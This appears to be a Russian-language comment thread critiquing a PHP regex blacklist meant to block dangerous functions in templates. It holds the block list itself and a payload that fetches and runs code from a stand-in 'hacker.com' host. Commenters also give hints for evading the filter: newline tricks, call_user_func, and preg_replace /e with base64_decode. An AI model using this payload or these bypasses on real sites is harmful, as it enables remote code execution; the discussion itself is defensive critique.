- 1
- 2
- 3
- 4
- 5
- 6
$black = "eval|file_get_contents|mysql_(.*?)|include|require|readfile|show_source|highlight|import_request_variables|extract|parse_str|assert|passthru|exec|system|shell_exec|proc_open|fopen|echo";
if(preg_match("#\<\?(.*?)($black)(.*?)\?\>#i", $template)){
exit ("1");
break;
}
<?php
eval(file_get_contents("http://hacker.com"));
?>
А вот это будет заблокировано, как опасное
<?php echo "hurr"; ?> eval-ы, зло, не используйте их в сайтах! <?php echo "durr"; ?>
exit ("1");
break;
Это мягко говоря озадачивает.
В целом, конструкция хороша.
<?php
eval(file_get_contents("http://hacker.com"));
?>
Не пройдет, только что протестировал.
Не вижу модификатор /s
В стандартных настройках PCRE по умолчанию он не используется. А значит .*? не может пересечь символ переноса строки
Травить газом таких учителей. Наличие implict-casting'а не есть отсутствие типов.
http://php.net/manual/en/function.exit.php
И про call_user_func забыли
Боги глубокого космосаКапитан очевидность сообщает, что preg_replace + /e + base64_decode спасут любого отца любой демократии.